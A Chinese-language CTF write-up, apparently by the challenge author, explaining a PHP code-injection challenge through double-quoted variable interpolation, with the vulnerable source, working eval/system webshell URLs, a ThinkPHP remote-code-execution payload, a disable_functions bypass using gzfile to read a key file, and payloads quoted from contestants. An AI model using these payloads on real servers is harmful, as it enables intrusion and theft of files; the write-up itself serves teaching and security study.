簡單的 Code Review,所以只有 100 分
結束突然有點感嘆覺得說,台灣玩 Web Hacking 的人雖然多,但都不精,
而且滿大比例是 ...... 的orz
題目很簡單,
Web Hacking 1 外國人題目一出來沒多久就解出來,
基本上有在關注這一塊的人應該看到就可以馬上寫出解答
題目是:
Easy code review.
This is a beginning of the web hacking.
都有 source code 了,再解不出來該去撞豆腐了XD
key.php 裡面放著過關金鑰
orange.html 是 orange.php 的原始碼
關卡的 PHP code 有提供 source 給大家 review,並從中找出漏洞進行利用,只有短短幾行
<?php
// by Orange@chroot.org, have fun.
$data = $_GET["data"];
$name = $_GET["name"];
$arr = array("\"", "'", ";");
$data = str_replace($arr, "", $data);
$_ = <<< EOF<?php
\$title = "$data";
?>EOF;
$filename = sprintf("yourfiles/%s.config.php", $name);
file_put_contents($filename, $_);
Web Hacking 1 考的觀念是 PHP 中在雙引號中的變數是可以被解析的特性
<?php
$test = 123;
echo "$test";
這樣的結果會是 123,
<?php
echo "{${phpinfo()}}";
這樣的結果會執行 phpinfo 這個 function
基本上這不算是一個漏洞,算是 PHP 的一個特性,
但在 PHP Code Review 上卻是一個要注意的點
能利用的地方很多,
例如在網站後台有功能可以寫設定檔,
但是雙引號被 magic_gpc_quote 防禦時則可這樣利用
又或是舉個例子,有一套很火紅的 PHP framework 叫做 thinkPHP,
之前被爆出 Code Execution 漏洞,出問題的點在於
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
轉自 http://zone.wooyun.org/index.php?do=view&id=44
雖然主要出問題的點在於 preg_replace + e 這個地方,
但漏洞利用的觀念還是在於,在 "\\2" 中,變數會被放到雙引號中
所以可以利用這種網址
/index.php?s=module/action/param1/${@system($_GET[cmd])}
&cmd=cat config.php
直接執行系統指令。
http://wg.hack.idv.tw/~ow100/orange.php?name=orange&data=${@eval($_GET[cmd])}
產生 youtfiles/orange.config.php 檔案
http://wg.hack.idv.tw/~ow100/yourfiles/orange.config.php?cmd=phpinfo();
第二個步驟的主要目的觀看 php 設定是否有哪些防禦、限制
繞過 disable_function 的限制
disable_function 的值有
basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_cache_get,realpath_cache_size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink,include,include_once,require,requre_once,opendir,readdir,highlight_file,scandir
http://wg.hack.idv.tw/~ow100/orange.config.php?cmd=print_r(gzfile($_GET[b]));&b=../key.php
這裡我用的方法是用 gzfile ,並不在 disable_function 內,所以可以順利的讀取到 key.php
額外補充
yourfiles 下共產生了 704 個 PHP 檔案,看其中內容有研究了一下還滿好玩的XD
除了完全與出題方向不同的 SQL injection, XSS 外有看到幾個比較有創意的答案
<?php $title = "{${show_source(trim(base64_decode(Li4va2V5LnBocCAK)))}}"; ?>
<?$zip = new ZipArchive();echo $zip->open($_GET[(string)1],ZIPARCHIVE::OVERWRITE);echo $zip->addFile($_GET[(string)2]);$zip->close();?>
<?php $title = "{${assert($_GET[1])}}"; ?>
這一部分是我的傑作啊XD
回覆刪除原本是想打 "{${file_get_contents(../key.php)}}" 但是不知道為什麼小數點會造成錯誤
然後 phpinfo() 看了一下之後改用絕對路徑,可是也會叫錯誤
後來靈機一動用 base64 encode 的方式避掉小數點還有斜線的問題,可是原本 "../key.php" encode 出來會產生等號,又是問題;又再改成 "../key.php " (加了一個空白),然後再加 trim() 把空白濾掉。
等到路徑終於搞定卻找不到可以show出原始碼的函數,後來是腹黑茶建議我試試看 show_source() 才成功的
現在才知道原來 phpinfo() 可以show出停用的函數,真是受教了!
話說大大其他題目應該也會來個詳解吧?
我光是這題就花了一整天……結果其他根本沒時間解啊T_T
這題我真的研究超久的!且php我還是第一次知道magic quote可以執行函數...不過我是直接show_source而已xD
回覆刪除原來是迴避disable_function..
回覆刪除這題我是用include(), 然後echo $key就中了, 有一點運氣的成份
能發不更改過後的Poison ivy嗎?
回覆刪除這跟主題偏的有點多
刪除